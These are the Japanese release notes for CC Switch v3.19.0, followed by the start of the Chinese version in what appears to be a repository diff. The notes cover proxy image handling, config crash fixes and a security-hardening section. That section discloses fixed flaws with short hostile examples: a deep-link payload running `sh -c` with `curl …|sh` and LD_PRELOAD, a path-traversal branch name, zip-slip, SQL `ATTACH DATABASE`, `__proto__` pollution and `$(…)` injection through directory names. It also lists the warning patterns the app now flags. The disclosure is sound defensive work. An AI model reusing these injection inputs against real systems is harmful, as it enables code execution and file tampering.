複数のスポンサーがドメインを移転したため、プリセットのアドレス、バックアップ endpoint、紹介リンク、README の行を同期しました(PackyCode → `www.packyapi.ai`、RightCode → `www.rightapi.ai`、ClaudeAPI → `www.apito.ai`、APINebula → `apinebula.ai`、AICodeMirror → `.ai`、AICoding → `.inc`、AIGoCode → `.app`)。あわせて、既に無効になっていたバックアップ endpoint を 2 つ削除しています。**作成済みのプロバイダーはデータベースに保存された旧アドレスを保持します**——新しいドメインへ移したい場合は、アドレスを手動で変更するか、更新後のプリセットから作り直してください。
---
## 修正
### プロキシ経由の画像読み取りでコンテキストが溢れない
クライアントがツール呼び出しで画像を読み取るとき——Codex の `view_image` や、画像を返す任意の MCP ツール——プロキシのプロトコル変換は画像ブロック全体をツールメッセージのテキストへシリアライズしており、上流は base64 をプレーンテキストとして token 計算していました。約 9,000 倍の膨張で、113 KB の PNG 1 枚が 10 万 prompt token 超に換算されていました。Codex は毎ターン履歴全体をリプレイするため、スクリーンショットが 2〜3 枚あればセッションをコンテキストウィンドウの外へ押し出し、400 の繰り返しで固まらせるのに十分でした([#4465](https://github.com/farion1231/cc-switch/issues/4465)、[#5663](https://github.com/farion1231/cc-switch/issues/5663))。
プロキシはメディアのペイロードをツール結果から取り出し、各ブリッジのネイティブ形式で送り直すようになりました——**画像は全ブリッジでカバーされ、ファイルと音声は対象プロトコルが対応している箇所で有効になります**。2 本の Chat ブリッジ(Claude→Chat、Codex Responses→Chat)は画像 / ファイル / 音声を運び、ツールメッセージには短いマーカーを残して、メディアは合成したユーザーメッセージとしてツールバッチの直後に続きます。Claude→Responses はネイティブな `input_image` に復元し、Codex / GrokBuild→Anthropic は標準の Anthropic 画像ブロックを再構築し、Claude→Gemini は Gemini 3 ではマルチモーダルな `functionResponse.parts` を使い(旧モデルでは `inlineData`)、インライン base64 画像のみを受け付けます。検出は型付きの Responses ブロック、Anthropic の `source` ブロック、MCP の `data`+`mimeType` 結果、画像 data URL 全体をカバーし、配列やネストされた `content` ラッパー(JSON エンコードされたツール出力を含む)も貫通します。出力がメディアを含むと判定された場合に限り、そこに残る data URL と裸の base64 はプレースホルダーへ畳まれます——**裸の base64 それ自体がメディア判定を引き起こすことは決してありません**。通常のツール出力はそのままです。メディアを含まないツール結果はすべてのブリッジで従来どおりバイト単位に同一で、prompt キャッシュのプレフィックスには影響しません。送信するメディアブロックには意図的に `cache_control` マーカーを付けないため、GLM や Qwen のような厳格な上流に拒否されることもありません。Kimi K3 でのエンドツーエンド実測では、同一のリプレイターンが安定して入力約 12k token・キャッシュヒット率 99% となりました。以前は毎回のリプレイで 85k+ の base64 テキストを背負っていました。
### 「非対応画像フォールバック」がツール結果の中の画像も見えるように
「非対応画像フォールバック」設定は、プロバイダーがテキストのみの場合や上流が画像を拒否した場合に、画像ブロックをプレースホルダーマーカーへ置き換えます。しかしこれまでは、構造化ブロックのままの画像しか見えていませんでした——base64 テキストへ平坦化されたツール結果の画像は見えず、テキストのみの上流ではそのまま失敗して復旧しようがありませんでした。メディアクリーナーは、各経路で対称的にツール出力内のメディアを検出して剥がすようになり、送信前の剥がしと拒否後の再試行のどちらの経路でもこの種のターンを救えます。この検出がツール結果の内部まで及ぶようになったため、リアクティブな再試行が引き続き本物のモダリティ拒否に対してのみ発火することを回帰テストで固定しました——コンテキスト長超過の 400 が画像拒否と誤認されて再試行されることはありません。
### Grok Build のコスト補填が過大にならない
欠落したコストを埋めるルーチンは、これまで Codex と Gemini だけを「報告される入力 token にキャッシュ読み取りが含まれる」プロバイダーとして扱っていましたが、Grok Build も同じ扱いに属します——補填された Grok Build の行は入力を全量として計算し、キャッシュ読み取りをもう一度計上していたため、コストが過大でした。キャッシュ込みのプロバイダー集合は現在 1 箇所でのみ定義され、ルーティングのレコーダー、コスト計算機、補填ルーチンが共有します。三者の言うことが食い違う可能性はなくなりました。なお旧来の補填で既に修正済みの行は元の値のままです——補填はコストがゼロの行のみを処理し、既にある正のコストを書き換えることは決してありません。
### 手動編集した設定ファイルでアプリがクラッシュしたり編集が飲み込まれたりしない
`~/.codex/config.toml``mcp_servers` が存在するもののテーブルではない場合(たとえば `mcp_servers = "x"`)、MCP 同期が切り替えの途中で panic していました——しかもデータベースと live 設定の両方が書き込まれた後に起きるため、中途半端に適用された切り替えが残ります。テーブル以外の値は警告を出したうえで空のテーブルへ正規化するようになり、Codex と GrokBuild の書き込み側も同様に修正しました。インラインテーブル形式(合法な TOML)には、これと鏡写しの問題がありました——MCP の削除が黙って無効なのに UI は成功と表示する、`base_url` の編集が Codex がまったく読まない階層へ書き込まれる——いずれも対処済みです。ルートノード、`provider` セクション、`mcp` セクションが配列 / スカラーになっている `opencode.json` でも panic しなくなり、この種のファイルは再構築ではなくエラーとして拒否されるため、ユーザーの `model``theme` の設定が消されることはありません。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### プロキシ変換が不正な上流レスポンスに耐える
上流ゲートウェイからの不正なデータが、これまではエラーを生む代わりにローカルプロキシを落としかねませんでした。Anthropic SSE ストリーム内のオブジェクトでない `message``content_block`、バッファされたレスポンスボディがトップレベルの JSON 配列やスカラーである場合(`stream: true` を無視するゲートウェイはこれを返します)は、panic するインデックス代入に当たっていました。現在はストリームが正常な失敗イベントで終わります。不正な `content_block` ヘッダーはテキストブロックとして復元されるようにもなりました——単に空のオブジェクトへ浄化するだけでは panic は止まっても、後続の内容がすべて黙って捨てられ、モデルが何も言っていないように見えてしまいます——壊れたヘッダーの後に来る差分は通常は無傷なので、よくあるケースでは中身が通るようになり、置き換えが起きた際には警告を 1 件記録します。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### OpenClaw の Kimi For Coding アドレス修正
OpenClaw のプリセットは、これまで汎用プラットフォームの endpoint `https://api.kimi.com/v1` を指していましたが、Kimi For Coding サブスクリプションが使うのはそこではないため、coding プランの key が使えませんでした。アドレスを `https://api.kimi.com/coding/v1` に修正し、フォームのプレースホルダーと既定値も同期更新しました。**旧プリセットから作成したプロバイダーは、手動で新しいアドレスに変更する必要があります。**
---
## セキュリティ強化
本節の 9 項目のうち、**2 つはあなたの操作が必要です**。Gemini 共通設定を通過したキーのローテーションと、過去に `ccswitch://` でインポートした MCP 項目の確認です——やり方は「アップグレード時の注意」に書いてあります。残りはアップグレードするだけで有効になり、操作は不要です。
他人から送られてきた `ccswitch://` リンクを開いたことがなく、共有された Gemini 共通設定も使っていないなら、この 9 項目の意味は主に「今後トラブルが起きにくくなる」ことです。2 つのうちどちらかに心当たりがあるなら、**このバージョンは優先してアップグレードする価値があります**。
### Gemini 共通設定がキーを漏らさなくなり、アップグレード後に自動クリーンアップ
Gemini の共通設定エクストラクターは、これまで共有スニペットから `GEMINI_API_KEY``GOOGLE_GEMINI_BASE_URL` だけを剥がし、他の `env` 項目はそのままコピーしていました——しかし `GOOGLE_API_KEY` はまさに Gemini の一級の認証情報であり、あるアカウントの key が(他の認証情報らしき項目とともに)共通設定を使うすべての Gemini プロバイダーへディープマージされ、相手の base URL——それはサードパーティの中継かもしれません——へ送られていました。エクストラクターは、認証情報パターンに合致するキーをすべてスキップするようになり(Claude のエクストラクターと同じマッチャー群を使用)、フロントエンドのスニペット検証も同様に揃えたため、手動編集で押し戻すこともできません。Gemini のスニペットは一度存在すると再抽出されないため、アップグレード後の初回起動で**一回限りのクリーンアップ**も実行します。既に漏れた認証情報を、スニペットから、マージされた各プロバイダーから、そして `~/.gemini/.env` から取り除きます——キー名**と値**の完全一致で照合するため、プロバイダー自身の同名で値の異なる key は巻き込まれません——env ファイルの書式とコメントは保持されます。クリーンアップの詳細と注意点は「アップグレード時の注意」を参照してください。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### Skill リポジトリインストールの強化:パストラバーサルとアーカイブ上限
GitHub リポジトリから Skill をインストール / 閲覧すると、これまで対象ディレクトリの外へ書き込まれる可能性がありました。アーカイブのエントリを正規化せずに対象パスへ連結していたため、`..` を含む ZIP は展開ディレクトリから脱出できました(zip-slip)。リポジトリ座標は一度も検証されておらず、`../../../releases/download/v1/evil` のようなブランチ名でダウンロードを任意の release アセットへリダイレクトできました——しかも Skill リポジトリは信頼できない `ccswitch://` ディープリンクから追加でき既定で有効なため、Skills パネルを開くだけでダウンロードが走ります。バックアップからの復元、同期スナップショット、「アプリからインポート」由来の Skill `directory` 値も検証されずにパスへ連結されており、アンインストールが管理対象ディレクトリの外へ `remove_dir_all` を行う可能性がありました。現在はすべての書き込み先でディレクトリ名を検証し、リポジトリの owner / 名前 / ブランチは唯一のダウンロード集約点でホワイトリスト化し、展開にはハード上限を設けました(10,000 エントリ、書き込み 512 MB、ダウンロード 128 MB、シンボリックリンクのターゲット 4 KB、自己参照リンクは拒否)。新しいエラーメッセージは 4 言語対応です。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### ディープリンクインポート確認ダイアログ:内容を余さず表示し、リスクをマーク
`ccswitch://` の MCP インポート確認ダイアログは、これまで切り詰められる 1 行の `Command:` しか描画せず、`args``url``env` は一切表示していませんでした——リンクに `command: "sh"``args: ["-c", "curl …|sh"]`、そして `LD_PRELOAD` 環境変数を付けても、表示上は無害な `sh` に見えるだけで、確認すると各アプリの live MCP ファイルへ書き込まれます。確認ダイアログは現在、コマンド、各引数、URL、環境変数を 1 行ずつ描画し、切り詰めではなく折り返して表示するため、見えないまま切り落とされる内容はありません(キー名に TOKEN / KEY / SECRET / PASSWORD を含む env の値は、接頭辞 + アスタリスクでマスク表示されます)。よく見るべき値はハイライトされ、警告ブロックにまとめられます——インライン実行フラグ付きのシェルインタープリター(`bash -lc``cmd /C`、PowerShell の `-Command` の短縮形などの組み合わせを含む)、プロセスのロード挙動を変える環境変数(`LD_*``DYLD_*``NODE_OPTIONS``PYTHONPATH``PATH`、プロキシ変数など)、ループバック / 内部ネットワーク / クラウドメタデータのアドレスを指す endpoint です。マークはあくまで注意喚起であり、インポートを遮断することはありません——ローカルの Ollama endpoint はごく普通の使い方です。プロバイダーの確認ダイアログにも同じ処理を入れました。「指定されたすべてのアプリへ直ちに書き込まれます」の警告は無条件表示に変更し、リンク側で制御できるフィールドによるゲートをやめました。
### ディープリンクの使用量スクリプト:既定で無効、コードを見てから使う
ディープリンク経由でインポートされる使用量照会スクリプトは、使用量を照会するたびに実行される JavaScript ですが、これまでコードを一度も見ないまま有効化される可能性がありました。バックエンドが「コードが付いている」ことを「実行に同意した」とみなし、確認ダイアログは有効 / 無効のバッジしか表示せず、スクリプト本体は決して表示しなかったためです。スクリプトは**既定で無効**になりました——リンクが明示的に `usageEnabled=true` を持つ場合にのみ有効化を要求します——確認ダイアログはデコード済みのスクリプト全文を、スクロール可能で完全に折り返されたコードブロックとして表示し、有効化すると実行される旨を警告します。デコードに失敗した場合は元のペイロードを表示するフォールバックとなるため、不正なスクリプトが「スクリプトなし」を装うことはできません。スクリプトコードは従来どおりプロバイダーに保存され、確認したうえでアプリ内から手動で有効化できます。
### URL-safe Base64 で確認ダイアログが丸ごと空になっていた
上の 2 項目が直すのは「確認ダイアログの表示が足りない」ことですが、この項目が直すのは「確認ダイアログが何も表示しないことがある」ことです。バックエンドは 4 種類の Base64 バリアント(RFC 4648 §5 の URL-safe アルファベットを含む)を受け付けますが、フロントエンドの `atob` は標準アルファベットしか認識せず、解けないときは**エラーを出さずに入力をそのまま返して**いました——その結果、同じペイロードでもバックエンドはデコードに成功してインポートし、フロントエンドが手にするのは解けない文字の塊になります。使用量スクリプトとシステムプロンプトは不透明な Base64 として表示されました。**最悪なのは MCP 設定です。`JSON.parse` の失敗がコンポーネントに飲み込まれ、確認ダイアログは「0 個のサーバー」と空のリストを描画する一方、バックエンドは従来どおり実際の項目を live MCP ファイルへ書き込みます**。ペイロードの `/` を 1 つ `_` に替えるだけで十分でした——確認ダイアログは空になり、インポート機能は完全に動き、上の 2 項目で補ったばかりの完全表示も同時に効かなくなります。
フロントエンドのデコーダーは、URL-safe アルファベットを正規化してからデコードするようになり、確認ダイアログの表示は常にインポートされる内容と一致します。共有デコーダーには初めてユニットテストが付き、テストケースには前提条件の自己検証が含まれていて、サンプルが確かに URL-safe の分岐に落ちること(たまたま両方のエンコードが同一なのではないこと)を保証します。
> この不具合は v3.8.0 以降のすべてのバージョンに影響します。`ccswitch://` リンクで MCP サーバーをインポートしたことがある場合は、一度確認することをおすすめします——「アップグレード時の注意」を参照してください。
### SQL インポートはインポート対象データベースの外に触れる文を拒否
データベースバックアップのインポートは、これまでファイル先頭のコメントを検証するだけで、その後はテキスト全体をそのまま `execute_batch` に渡していました——巧妙に作られたバックアップは `ATTACH DATABASE` でユーザーが書き込める任意の場所に SQLite ファイルを作成でき、しかもその副作用はインポート自身の状態検証より前に発生するため、インポート全体が失敗してもファイルは既に作られています。WebDAV / S3 の同期スナップショットも同じコードパスを通ります。現在は外部バッチの実行中に SQLite authorizer をインストールします(終了時に直ちに取り外すため、アプリ自身の schema メンテナンスは影響を受けません)。`ATTACH` / `DETACH``VACUUM`、仮想テーブルの作成(csvfile のようなファイルバックエンドのモジュールは任意のパスを読み書きできます)、および SQLite が未知と報告するすべてのアクションは一律に拒否されます——将来の新しい文も既定で失敗します。PRAGMA はエクスポーターが実際に書き込む `foreign_keys``user_version` の 2 つだけを許可します。
### 共通設定スニペットのプロトタイプ汚染
共通設定スニペットの適用・削除・比較を行う 3 つのトラバーサルは、これまでいずれも `__proto__` をたどってグローバルな `Object.prototype` に入り込んでいました。`JSON.parse('{"__proto__":{…}}')` が生成するのは自身の列挙可能プロパティであり、マージすると攻撃者が指定した値がグローバルなプロトタイプに書き込まれます——そして `settings` テーブルは同期時にリモート側でテーブルごと上書きされるため、悪意ある WebDAV / S3 のスナップショットが着地した後にプロバイダーフォームを一度開くだけでマージが発火します。3 つのトラバーサルは `__proto__``constructor``prototype` を一律にスキップするようになりました。「共通設定が適用済みか」の比較では自身のプロパティであることも同時に要求するようにし、ついでに目に見える奇妙な挙動——`{"__proto__":{}}` がこれまで任意の設定の部分集合と判定されていたこと——も修正しました。
### ターミナル起動におけるディレクトリ名のコマンドインジェクション
外部ターミナルでセッションを復元する際、`cd` 行はこれまで作業ディレクトリをダブルクォートで囲み、バックスラッシュとダブルクォートだけをエスケープしていました——ダブルクォートの中でもシェルは `$(…)`、バッククォート、`$VAR` を展開しますし、この値は CLI のセッション履歴に記録された実際のプロジェクトパスで、macOS ではディレクトリ名にこれらの文字を合法的に含められます。フォルダーにそのような名前が付いていれば、「復元」をクリックしただけであなたのターミナルで埋め込まれたコマンドが実行されます。侵害されたコンポーネントは一切必要ありません。シェル行を組み立てる 3 つのランチャー——Terminal.app、iTerm、kitty——は POSIX のシングルクォートエスケープに変更し、いかなる内容も展開されなくなりました(Terminal / iTerm を通すために必要な AppleScript の引用層も同様に安全です)。Ghostty、WezTerm / Kaku、Alacritty はもともとディレクトリを独立した引数として渡しており、初めから安全でした。
### GrokBuild の認証情報解決が環境のキーを差し替えたりインライン化したりしない
GrokBuild の認証情報の取り出しは、これまで設定が指定する `env_key` 変数が未設定の場合にプロセスレベルの `XAI_API_KEY` へフォールバックしていました——別アカウントの key に黙って差し替えられ、設定が指す任意の base URL へ送られます。認証情報は現在、明示的なインラインの `api_key` か、`env_key` が正確に名指しする環境変数からのみ取得されます。ディープリンクインポートは環境変数を平文の `api_key` に解決しなくなりました。`env_key` の名前だけを持つリンクは拒否され、手動での追加を促します——そのまま受け入れると、リクエスト時に被害者の環境のキーが解決され、リンクが宣言したアドレスへ送られてしまうためです。あわせて修正:base URL の解決を認証情報の解決から切り離しました。これまでは認証情報が欠けると base URL まで空になり、macOS(GUI プロセスはシェル環境を継承しません)で UI に表示されるアドレスと実際に使われるアドレスが食い違い、使用量スクリプトの `{{baseUrl}}` が空に展開されていました。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
---
## ドキュメント
### 「Claude Code で GPT モデルを使う」ガイドに英語版・日本語版を追加
これまで中国語版しかなかったローカルルーティングガイドを、英語と日本語へ完全に移植しました。2 つの接続経路をエンドツーエンドでカバーします——サードパーティの OpenAI Responses ゲートウェイ(API Key)と、ChatGPT Plus/Pro サブスクリプションを Codex のデバイスコード OAuth ログインで使う経路です。2 つのルーティングガイドは同時に、「どのクライアントが正しいか」ではなく「どのモデルを使うか」を示すタイトルへ変更しました——《[Claude Code で GPT モデルを使う](../guides/claude-codex-routing-guide-ja.md)》《[Codex で Claude モデルを使う](../guides/codex-claude-routing-guide-ja.md)》——そしてすべての相互リンク(3 言語の v3.18.0 リリースノートを含む)を読者の言語のバージョンへ向けました。
### ユーザーマニュアル:ディープリンク `usageEnabled` の既定値を修正
3 言語のユーザーマニュアルのディープリンクリファレンスは、これまで `usageEnabled` の既定値が `true` だと記載していましたが、実際の既定値は `false` で、インポーターと一致します。マニュアルには正しい既定値を明記し、2 つの帰結も補いました。インポート前の確認ダイアログはスクリプトのコードを完全に表示すること、そして明示的な `usageEnabled=true` がない場合はスクリプトが無効の状態でインポートされ、後からアプリ内で有効化できることです。
### SECURITY.md:脅威モデルと報告範囲
`SECURITY.md` に 2 言語の脅威モデルと、明確な範囲内 / 範囲外のリストを整備しました。報告は「値が最終的にどの API へ届いたか」ではなく「この入力を誰が制御しているか」で分類します。内蔵の WebView レンダラーは信頼されたコンポーネントとして宣言し(独立に検証できる 4 つの事実と、その前提が崩れる条件を添えています)、ディープリンクのペイロード、WebDAV / S3 の復元データ、インポートファイル、上流 API のレスポンス、ローカルプロキシへの受信リクエストはすべて信頼できない入力として列挙し、報告を歓迎します。
---
## アップグレード時の注意
### 本リリースにデータベース移行はありません
v3.19.0 に schema 移行は含まれません(バージョンは v16 のまま)。アップグレードすればすぐ使え、データの再構築を待つ必要はありません。
### Gemini キーの一回限りのクリーンアップ(必ずお読みください)
アップグレード後の初回起動時、通常の設定抽出より前に、一回限りの Gemini 共通設定クリーンアップが実行されます。**その後、一部の Gemini プロバイダーで API Key が不足していると表示される場合があります**。項目は認証情報型のキー名と値の完全一致で削除され、通常削除されるのは共有スニペット経由で漏れ込んだ他プロバイダーの認証情報です(そのプロバイダー自身の元の値は、漏えいが発生した時点で上書きされており復元できません)——ただし、**複数の Gemini プロバイダー間で意図的に使い回していた同じ値の key も一緒に削除されます**。いずれの場合も、ローテーションしてから入力し直してください。**共有 Gemini スニペットを通過したキーはすべて漏えい済みとみなすべきです**。削除されたキー名と影響を受けたプロバイダー id(値は決して含みません)は `settings` テーブルの `gemini_common_config_scrub_audit_v1` に記録されており、これをもとにキーの再入力が必要なプロバイダーを 1 つずつ特定できます。
### ディープリンクで MCP をインポートしたことがありますか?一度確認をおすすめします(必ずお読みください)
本リリース以前、`ccswitch://` の MCP インポート確認ダイアログは**書き込まれる内容を表示できないことがありました**。引数と環境変数は一切描画されず(`command: "sh"``args: ["-c", …]` を付けても無害な `sh` としか表示されません)、ペイロードが URL-safe Base64 でエンコードされている場合はリスト全体が「0 個のサーバー」と表示されました——それでいてバックエンドはどちらの場合も従来どおり項目を各アプリの live MCP ファイルへ書き込みます。この 2 つの不具合は **v3.8.0 以降のすべてのバージョン**に影響し、本リリースでまとめて修正されました。
悪用には、攻撃者が提供したリンクをあなた自身が開いて「インポート」をクリックする必要があるため、大多数のユーザーは影響を受けません。**完全には信頼できない出所から `ccswitch://` の MCP インポートリンクを開いたことが実際にある場合**は、MCP パネルで 1 件ずつ確認するか、`~/.claude.json``mcpServers`Codex は `~/.codex/config.toml``mcp_servers`)を直接確認し、見覚えのない項目がないことを確かめてください——MCP サーバーは CLI の次回起動時に子プロセスとして実行されます。
### ディープリンクの使用量スクリプトは既定で無効
使用量照会スクリプトを含むディープリンクは、リンクが明示的に `usageEnabled=true` を持たない限り、既定で無効の状態でインポートされるようになりました。自動有効化に依存していたリンク(一部パートナーのワンクリック設定リンクなど)はスクリプトをインポートしますが、使用量照会は有効になりません——コードを確認したうえで、プロバイダーエディターから手動で有効化してください。アプリ内で手動設定した使用量スクリプトは影響を受けません。
### 新しい既定モデルは新規プロバイダーにのみ影響します
保存済みのプロバイダーは作成時のモデル ID を維持するため、新しいモデルを使うには手動での編集が必要です。Claude Desktop の opus ルートの現在値は `claude-opus-5` に前進し、`claude-opus-4-8` は互換エイリアスのスロットへ移りました。既存の設定は従来どおり解決されます。
### 価格のシードとローカル価格ファイル
新しい価格行(`claude-opus-5``gemini-3.6-flash``grok-4.5-build`)は次回起動時に「存在しなければ挿入」で追加されます——**シードがあなたの編集した価格を上書きすることは決してありません**。`~/.cc-switch/model-pricing.json` は作成時点では空で、本リリース以降の手動の価格変更と削除のみを記録します——それより前の価格変更は移行されないので、データベースの再構築に耐えさせたい場合は一度保存し直してください。models.dev の自動同期は、あなたが手動で有効にするまで無効のままです。いったん有効にすると、これは同名の価格を上書きする(内蔵・手動を問わず)唯一の経路になります。
### GrokBuild の暗黙的な環境変数フォールバックを削除
暗黙的な `XAI_API_KEY` 環境変数フォールバックに依存していた GrokBuild プロバイダーは、明示的な `api_key` か、正しく名前を指定した `env_key` が必要になりました。
### Grok 公式モードの使用量は意図的に遅れます
公式モードの Grok 使用量は、約 10 分 + 同期周期 1 回分だけ遅れて現れます——イベントをまず寝かせて確定を待ち、その後プロキシが記録した行と照合して二重計上を防ぐためです。ルーティング経由のトラフィックと公式のトラフィックがウィンドウ内で交互に発生する場合、一部の公式ターンは重複計上の危険を冒す代わりにスキップされます。旧来のコスト補填で過大評価されていた Grok Build の行は元の値のままです——補填はコストがゼロの行のみを処理し、既にある正のコストを修正することは決してありません。
### 更新ミラーは次のバージョンから有効になります
アップデーターの endpoint リストはアプリのバイナリに内蔵されているため、既存のインストールは本変更を含むバージョンへアップグレードするまで GitHub のみを照会し続けます。それ以降は `dl.ccswitch.io` ミラーを優先し、GitHub にフォールバックします。
### スポンサーのドメイン移転は既存プロバイダーを変更しません
作成済みのプロバイダーはデータベースに保存された旧アドレスを保持し、引き続き旧ドメインを指します。新しいドメインへ移したい場合は、プロバイダーのアドレスを手動で変更するか、更新後のプリセットから作り直してください。
---
## リスク通知
### SuperGrok クォータ照会(本リリース新規)
プロバイダーカードの SuperGrok クォータ表示は、Grok CLI 自身の OAuth 認証情報(`~/.grok/auth.json`)を読み取り、grok.com の課金 endpoint に問い合わせます——この endpoint は公開ドキュメント化されたインターフェースではなく、レスポンスの解析は現行フォーマットの観察に基づいています。xAI がインターフェースを変更するとこの機能は動かなくなる可能性があります(その場合カードはクォータを表示しない状態に縮退し、他の機能は影響を受けません)。CC Switch がこれらの認証情報を保存したり変更したりすることはありません。
### 引き続き適用される注意
**xAI Grok OAuth サインイン**:公式 Grok CLI の公開 OAuth クライアント識別情報を再利用しており、利用によってアカウントの制限や停止につながる恐れがあります——詳細は [v3.18.0 release notes](v3.18.0-ja.md#リスク通知) を参照してください。
**Codex OAuth リバースプロキシ**:ChatGPT サブスクリプションの Codex OAuth をリバースプロキシ経由で使用すると、OpenAI の利用規約に違反する可能性があります。詳細は [v3.13.0 release notes](v3.13.0-ja.md#-リスクに関する注意事項) を参照してください。
**サードパーティプロバイダーのルーティング**:CC Switch ローカルプロキシで Codex、Claude Desktop、Grok Build のリクエストを変換してサードパーティプロバイダーへ転送する場合、課金・コンプライアンス・データ保持に関する制約はプロバイダーごとに異なります。利用前に対象プロバイダーの利用規約を確認してください。
上記機能を有効化したユーザーは、関連するリスクを自ら負うものとします。CC Switch は、これらの機能の利用によって発生したアカウント制限、警告、サービス停止について責任を負いません。
---
## 謝辞
本リリースのセキュリティ強化は、そのほとんどが外部からもたらされたものです——1 本の PR と、寄せられたセキュリティ報告です。
### コード貢献
- [#5811](https://github.com/farion1231/cc-switch/pull/5811)Skill インストールの zip-slip とリポジトリ座標のトラバーサル、Gemini 共通設定のキー漏えいと一回限りのクリーンアップ、GrokBuild の認証情報解決、複数の panic 経路の修正、@zayokami に感謝。本リリースにおいて単一の出所として最も広い範囲をカバーした仕事です。
- [#5734](https://github.com/farion1231/cc-switch/pull/5734)models.dev 自動価格同期、@YUZHEthefool に感謝。
- [#5626](https://github.com/farion1231/cc-switch/pull/5626)Codex fork セッションの使用量インポート高速化、@ayanamislover に感謝(@SaladDay との共同署名)。
### セキュリティ報告
本リリースの「セキュリティ強化」のうち 4 項目の修正は、非公開で寄せられたセキュリティ報告に基づくものです。**23pds**SlowMist 慢雾)と **zues devil** に感謝します——項目ごとの帰属は以下のとおりです:
- **ディープリンクインポート確認ダイアログが切り詰められた 1 行の `Command:` しか表示しない**——`args``url``env` は一切描画されず、`sh -c``LD_PRELOAD` を組み合わせたペイロードが画面上ではただの `sh` に見えていました。本リリースで最も影響範囲の大きい 1 件です。(23pds、SlowMist
- **SQL バックアップのインポートが制約されていない**——`ATTACH DATABASE` でユーザーが書き込める任意の場所にファイルを作成でき、しかもその副作用はインポート自身の検証より前に発生します。(zues devil)
- **外部ターミナル起動におけるディレクトリ名のコマンドインジェクション**——`cd` 行がダブルクォートで囲まれており `$(…)` が通常どおり展開され、しかもこの値はセッション履歴に記録された実際のプロジェクトパスです。(zues devil と 23pds がそれぞれ独立に報告。内蔵ランチャーとカスタムテンプレートの 2 つの経路をそれぞれ指摘)
- **共通設定スニペットのマージにおけるプロトタイプ汚染**——3 つのトラバーサルがいずれも `__proto__` をたどってグローバルな `Object.prototype` に入り込んでいました。(23pds、SlowMist
これらの報告はまた、[SECURITY.md](../../SECURITY.md) の脅威モデルと報告範囲を整備するきっかけにもなりました——それ以前、このプロジェクトには報告の方法しか書かれておらず、何が脆弱性にあたるかは書かれていませんでした。
残る 2 つのディープリンク修正(使用量スクリプトの既定無効化、URL-safe Base64 のバイパス)は、上記の修正そのものをレビューする過程で発見されたもので、元の報告には含まれていません。
### 問題報告
[#4465](https://github.com/farion1231/cc-switch/issues/4465) と [#5663](https://github.com/farion1231/cc-switch/issues/5663) で、プロキシ経由の画像読み取りによるコンテキスト溢れを報告してくださったユーザーに感謝します——本リリースで最も重要なプロキシの修正は、こうした実際の場面からの再現情報をもとにしています。
---
## ダウンロードとインストール
[Releases](https://github.com/farion1231/cc-switch/releases/latest) から、お使いのシステムに対応するビルドをダウンロードするか、公式サイト [ccswitch.io](https://ccswitch.io) から入手してください(本リリースからダウンロードは Cloudflare のエッジノード経由で配信され、GitHub への到達性に依存しなくなりました)。
### システム要件
| システム | 最低バージョン | アーキテクチャ |
| -------- | ------------------------ | ----------------------------------- |
| Windows | Windows 10 以降 | x64 / ARM64 |
| macOS | macOS 12 (Monterey) 以降 | Intel (x64) / Apple Silicon (arm64) |
| Linux | 下表を参照 | x64 / ARM64 |
### Windows
| ファイル | 説明 |
| ---------------------------------------- | -------------------------------------------- |
| `CC-Switch-v3.19.0-Windows.msi` | **推奨** - 自動更新対応の MSI インストーラー |
| `CC-Switch-v3.19.0-Windows-Portable.zip` | ポータブル版、展開してそのまま実行できます |
Windows ARM64 デバイスでは、ファイル名に `arm64` が含まれる対応する成果物を選択してください。
### macOS
| ファイル | 説明 |
| -------------------------------- | ------------------------------------------------------ |
| `CC-Switch-v3.19.0-macOS.dmg` | **推奨** - DMG インストーラー、Applications へドラッグ |
| `CC-Switch-v3.19.0-macOS.zip` | 展開して Applications へドラッグ、Universal Binary |
| `CC-Switch-v3.19.0-macOS.tar.gz` | Homebrew インストールと自動更新用 |
Homebrew インストール:
```bash
brew install --cask cc-switch
```
更新:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux アセットは **x86_64****ARM64**`aarch64`)の両方を提供します。ファイル名のアーキテクチャ識別子を、マシンの `uname -m` 出力に合わせて選択してください:
- `CC-Switch-v3.19.0-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.0-Linux-arm64.AppImage` / `.deb` / `.rpm`
| ディストリビューション | 推奨形式 | インストール方法 |
| --------------------------------------- | ----------- | -------------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` または `sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` または `sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | 実行権限を付与して直接実行、または AUR を利用 |
| その他 / 不明な場合 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+353
View File
@@ -0,0 +1,353 @@
# CC Switch v3.19.0
> 这一版的主线是**让你更放心**:一波集中式安全加固——Skill 安装、`ccswitch://` 导入确认、SQL 备份导入、通用配置合并、终端启动全部收紧,其中两条需要你花一分钟确认——Gemini 通用配置的密钥泄漏已修复并在升级后自动清洗(**需要你轮换密钥**),`ccswitch://` 的 MCP 导入确认框此前可能显示不出即将写入的命令(**若你曾打开过来源不明的导入链接,建议核对一次**),两条都见「升级提醒」;一个代理正确性大修——**通过代理读图不再撑爆上下文**(一张截图曾经吃掉 10 万+ token,两三张就能把 Codex 会话卡死在 400 上)。省心的部分同样实在:**模型定价可以交给 models.dev 自动维护**、Grok CLI 官方登录模式的用量与 SuperGrok 订阅余量终于进看板、**应用内更新改走 `dl.ccswitch.io` 镜像**——GitHub 访问不畅也能顺利升级。
**[English →](v3.19.0-en.md) | [日本語版 →](v3.19.0-ja.md)**
---
## 重点内容:你现在可以
- **在代理下正常读图,不再撑爆上下文**:Codex 的 `view_image`、返回图片的 MCP 工具,图片此前被序列化成工具文本、按纯文本计 token(约 9,000 倍膨胀);现在所有转换桥都把图片还原为原生格式再上送(文件与音频在两条 Chat 桥上一并支持)。真实测试里同一回放轮从 85k+ token 降到约 12k、缓存命中 99%。
